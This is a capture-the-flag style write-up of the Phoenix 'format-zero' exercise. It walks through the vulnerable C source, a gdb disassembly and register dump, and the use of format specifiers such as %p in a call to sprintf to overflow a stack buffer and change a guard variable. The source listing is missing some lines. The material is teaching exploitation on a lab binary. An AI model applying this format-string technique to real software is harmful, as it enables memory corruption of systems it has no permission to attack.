phoenix - format 0

6 minute read

Lets list our files using la -la,

user@phoenix-amd64:~$ ls -la
total 36
drwxr-xr-x 2 user user 4096 Jun 11 05:23 .
drwxr-xr-x 3 root root 4096 Jan 13  2019 ..
-rw------- 1 user user 7376 Jun  6 09:53 .bash_history
-rw-r--r-- 1 user user  220 Jan 13  2019 .bash_logout
-rw-r--r-- 1 user user 3526 Jan 13  2019 .bashrc
-rw-r--r-- 1 user user  675 Jan 13  2019 .profile
-rwxr-xr-x 1 user user 6376 Jun 11 05:22 format-zero

Lets analyze the file type of the binary using file,

user@phoenix-amd64:~$ file format-zero
format-zero: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /opt/phoenix/x86_64-linux-musl/lib/, not stripped

So this is a not stripped binary

Lets try running this,

user@phoenix-amd64:~$ ./format-zero
Welcome to phoenix/format-zero, brought to you by
Uh oh, 'changeme' has not yet been changed. Would you like to try again?

Lets view the source code for proper understanding,

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "


Here from the title we can guess this challenge is related to “FORMAT STRING VULNERABILTY”

Here we have a struct with following variables,

    char dest[32];
    volatile int changeme;

Our aim is to overwrite the changeme variable

Format String vulnerabilities occur when printf family functions tries to print their data without any format specifiers.This leads to popping of random values from stack and displaying it to the user

Our dest has 32 bytes

So we have to send more than 32bytes to overflow the changeme variable

And we have a variable buffer for 16 bytes

if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  buffer[15] = 0;

Here fgets is used to get the data properly and null byte termination is done by buffer[15] = 0

To overwrite changeme variable we need to pass more than 32 bytes

But we cannot pass it into buffer of 16 bytes

Here comes the format string vulnerability

Lets pass %x and %p (use your formats if needed) to store the address values into the dest variable

Passing format strings like %s can cause segmentation fault if there is no string in the corresponding memory

Disassembling main() function,

(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040069d <+0>:	push   rbp
   0x000000000040069e <+1>:	mov    rbp,rsp
   0x00000000004006a1 <+4>:	sub    rsp,0x50
   0x00000000004006a5 <+8>:	mov    DWORD PTR [rbp-0x44],edi
   0x00000000004006a8 <+11>:	mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004006ac <+15>:	mov    edi,0x400790
   0x00000000004006b1 <+20>:	call   0x4004e0 <puts@plt>
   0x00000000004006b6 <+25>:	mov    rdx,QWORD PTR [rip+0x200423]        # 0x600ae0 <stdin>
   0x00000000004006bd <+32>:	lea    rax,[rbp-0x40]
   0x00000000004006c1 <+36>:	mov    esi,0xf
   0x00000000004006c6 <+41>:	mov    rdi,rax
   0x00000000004006c9 <+44>:	call   0x4004d0 <fgets@plt>
   0x00000000004006ce <+49>:	test   rax,rax
   0x00000000004006d1 <+52>:	jne    0x4006e7 <main+74>
   0x00000000004006d3 <+54>:	mov    esi,0x4007dc
   0x00000000004006d8 <+59>:	mov    edi,0x1
   0x00000000004006dd <+64>:	mov    eax,0x0
   0x00000000004006e2 <+69>:	call   0x4004f0 <errx@plt>
   0x00000000004006e7 <+74>:	mov    BYTE PTR [rbp-0x31],0x0
   0x00000000004006eb <+78>:	mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004006f2 <+85>:	lea    rdx,[rbp-0x40]
   0x00000000004006f6 <+89>:	lea    rax,[rbp-0x30]
   0x00000000004006fa <+93>:	mov    rsi,rdx
   0x00000000004006fd <+96>:	mov    rdi,rax
   0x0000000000400700 <+99>:	mov    eax,0x0
   0x0000000000400705 <+104>:	call   0x400500 <sprintf@plt>
   0x000000000040070a <+109>:	mov    eax,DWORD PTR [rbp-0x10]
   0x000000000040070d <+112>:	test   eax,eax
   0x000000000040070f <+114>:	je     0x40071d <main+128>
   0x0000000000400711 <+116>:	mov    edi,0x4007f8
   0x0000000000400716 <+121>:	call   0x4004e0 <puts@plt>
   0x000000000040071b <+126>:	jmp    0x400727 <main+138>
   0x000000000040071d <+128>:	mov    edi,0x400830
   0x0000000000400722 <+133>:	call   0x4004e0 <puts@plt>
   0x0000000000400727 <+138>:	mov    edi,0x0
   0x000000000040072c <+143>:	call   0x400510 <exit@plt>
End of assembler dump.

changeme variable is in $rbp-0x10

Setting break points to analyze,

(gdb) b *0x000000000040070a
Breakpoint 1 at 0x40070a

(gdb) r
Starting program: /home/user/format-zero
Welcome to phoenix/format-zero, brought to you by

Breakpoint 1, 0x000000000040070a in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xe
$rbx   : 0x00007fffffffe6b8    0x00007fffffffe8be    "/home/user/format-zero"
$rcx   : 0x0
$rdx   : 0xffffffff
$rsp   : 0x00007fffffffe610    0x00007fffffffe6b8    0x00007fffffffe8be    "/home/user/format-zero"
$rbp   : 0x00007fffffffe660    0x0000000000000001
$rsi   : 0x00007fffffffe2fe    0x0000000000900000
$rdi   : 0x00007fffffffe63e    0x0000000000010000
$rip   : 0x000000000040070a    <main+109> mov eax, DWORD PTR [rbp-0x10]
$r8    : 0x00007fffffffe2c8    0x0000000000000000
$r9    : 0x00007fffffffe620    "AAAABBBBCCCCDD"
$r10   : 0x8080808080808080
$r11   : 0x1
$r12   : 0x00007fffffffe6c8    0x00007fffffffe8d5    "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$r13   : 0x000000000040069d    <main+0> push rbp
$r14   : 0x0
$r15   : 0x0
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe610+0x0000: 0x00007fffffffe6b8    0x00007fffffffe8be    "/home/user/format-zero"	 $rsp
0x00007fffffffe618+0x0008: 0x0000000100000000
0x00007fffffffe620+0x0010: "AAAABBBBCCCCDD"	  $r9
0x00007fffffffe628+0x0018: 0x0000444443434343 ("CCCCDD"?)
0x00007fffffffe630+0x0020: "AAAABBBBCCCCDD"
0x00007fffffffe638+0x0028: 0x0000444443434343 ("CCCCDD"?)
0x00007fffffffe640+0x0030: 0x0000000000000001
0x00007fffffffe648+0x0038: 0x00007fffffffe6c8    0x00007fffffffe8d5    "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4006fd <main+96>        mov    rdi, rax
     0x400700 <main+99>        mov    eax, 0x0
     0x400705 <main+104>       call   0x400500 <sprintf@plt>
    0x40070a <main+109>       mov    eax, DWORD PTR [rbp-0x10]
     0x40070d <main+112>       test   eax, eax
     0x40070f <main+114>       je     0x40071d <main+128>
     0x400711 <main+116>       mov    edi, 0x4007f8
     0x400716 <main+121>       call   0x4004e0 <puts@plt>
     0x40071b <main+126>       jmp    0x400727 <main+138>
─────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "format-zero", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40070a  main()

(gdb) print $rbp-0x10
$1 = (void *) 0x7fffffffe650

(gdb) x/s $rbp-0x10
0x7fffffffe650:	""


Clearly we can say that our data from buffer did not place into dest to overwrite our changeme

Lets try passing some format strings in it,

(gdb) r
Starting program: /home/user/format-zero
Welcome to phoenix/format-zero, brought to you by

Breakpoint 1, 0x000000000040070a in main ()

(gdb) x/s $rbp-0x10
0x7fffffffe650:	"fff7ffb300\n"

changeme is overwritten

So %p stores address of 14 bytes in dest

3 %p gives more than 32bytes so that we could overwrite the changeme

Lets try this input on our binary,

%p will pop 3 values from stack of 14*3 bytes which is enough for us

user@phoenix-amd64:~$ ./format-zero
Welcome to phoenix/format-zero, brought to you by
Well done, the 'changeme' variable has been changed!

Done! we have completed “format-zero”